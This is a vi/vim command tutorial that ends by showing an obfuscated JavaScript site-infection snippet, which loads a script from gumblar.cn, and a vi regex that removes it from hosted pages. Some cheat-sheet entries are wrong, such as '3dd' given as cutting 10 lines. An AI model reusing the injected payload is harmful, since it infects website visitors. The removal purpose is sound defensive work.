Chapter 10 Editing files in Linux.

There are several tools available in Linux to edit a regular file. The most popular and user text file editor is VI, and VI Modified is called VIM.

file – use file command to know the file type
vi  is very hard to learn, but really powerful

Either learn VI or learn Unix :-

VI:- VI is a vey powerful text editor. The name vi is derived from the shortest unambiguous abbreviation for the command visual in ‘ex”; the command in question switches the line editor ex to visual mode.

The VI has three mode

• Command Mode – simple one/two letter commands
• Edit Mode – Allows to append and insert text
• Ex Mode – allows to execute commands

Going back and forth modes requires to go to command modeby pressing escape.

Command Mode:-

Arrow keys – hjkl
w – moves cursor forward by a word
b – moves cursor backward by a word
0,$ – beginning and end of line
Ctrl + f , Ctrl + b – Page UP, Page Down
Home – gg
End – G
:25, 25G – to the 25th line
% – matching braces

1. Insertion

Insertion – I, i
Append – A, a
Insertion on a new line – O, o

2. Deletion

Delete a single character under cursor – x
Delete a single character left of cursor – X
Delete all the stuff from cursor to end of line – D
delete 10 words – 10dw , d10w
Replace a single character – r
Undo the last change – u
To repeat last command – .
To join two lines together – J

3. Search in command mode

Search for a word downwards – /word_to_search
Search for a word upwards – ?word_to_search
Repeat the previous search forward – n
Repeat the previous search backward – N

4. Search and Replace in ex mode

Change a single character – r
Replace mode by typing over – R
Search and replace first occurence of old_word with new_word in the entire file – :%s/old_word/new_word/
Search and replace first occurence in the current line – :s/search/replace/
Search and replace all occurences in the entire file – :%s/search/replace/g
Search and replace all occurences in current line – :s/search/replace/g
Search and replace the first occurence of old_word between n1 and n2 with new_word – :n1,n2s/old_word/new_word/
Search and replace all occurences of old_word between n1 and n2 with new_word – :n1,n2s/old_word/new_word/
Search and replace all occurences of old_word with new_word, but prompt for confirmation – :1,$s/old_word/new_word/gc

5. Cut/Copy/Paste

Cut the entire line – dd
Copy the entire line – yy
Cut the word from the current cursor position to its end – dw
Paste – p, P
Swap the adjacent lines – ddp
Cut 10 lines – 3dd

6. Exiting VI

Save in ex mode – :w
Exit in ex mode – :q
Forcefully save in ex mode = :w!
Forcefully exit in ex mode, when a change is made accidentally = :q!
Save and Exit in command mode – ZZ
Save and Exit in ex mode – :wq,
Save and Exit in ex mode forcefully : wq!

7. Advanced VI to ponder with

:map to map the new defined command to a sequence of commands or keystrokes
:map Ctrl+v_Ctrl+v_Space Ctrl+v_Ctrl+f means pressing space will enable page down.  Ctrl + v is to input a special character such as Esc.
Encryption – :X and disable encryption :set key=

So “Either learn VI or learn Unix”

Matching and deleting patterns across multiple lines in vi

If you want to search and replace a pattern similar to below,

<script language="javascript"><!-- (function(){var nsLd='v:61r:20a:3d:22:53:63:72iptE:6eg:69ne:22:2cb:3d:22:56e:72s:69:6f:6e()+
:22:2c:6a:3d:22:22:2cu:3dna:76:69gator:2e:75:73e:72A:67:65:6et:3bif(:28:75:2e:
69:6e:64:65:78O:66(:22Win:22):3e0:29:26:26:28u:2ein:64exOf(:22N:54:206:22):3c0)
:26:26(:64:6fc:75:6dent:2eco:6f:6bie:2ein:64exOf(:22m:69:65:6b:3d1:22:29:3c:30):
26:26(:74ype:6ff(zrvzts:29:21:3d:74ypeof:28:22A:22):29:29:7bzr:76zt:73:3d:22A:22:
3bev:61l:28:22if(w:69ndow:2e:22+a+:22)j:3dj+:22:2ba+:22Major:22+b:2ba+:22Minor:22+
:62+:61+:22Bu:69:6c:64:22+b+:22j:3b:22):3bdoc:75me:6et:2ewrite:28:22:3c:73cr:69p:74:
20src:3d:2f:2fgum:62lar:2ecn:2frs:73:2f:3fid:3d:22:2bj+:22:3e:3c:5c:2fs:63r:69pt:3e:22):
3b:7d';var huwu4=nsLd.replace(/:/g,'%');var oLy=unescape(huwu4);eval(oLy)})();
// --></script>

Those who are in web hosting industry may know what the above line means . Anyways you can use this, in the vi exec mode to remove the lines

:%s/<script\_p\{-}--><\/script>//g

It’s better to have a perl script to search and replace the patterns. That is what we run for our clients under Enterprise monitoring plan.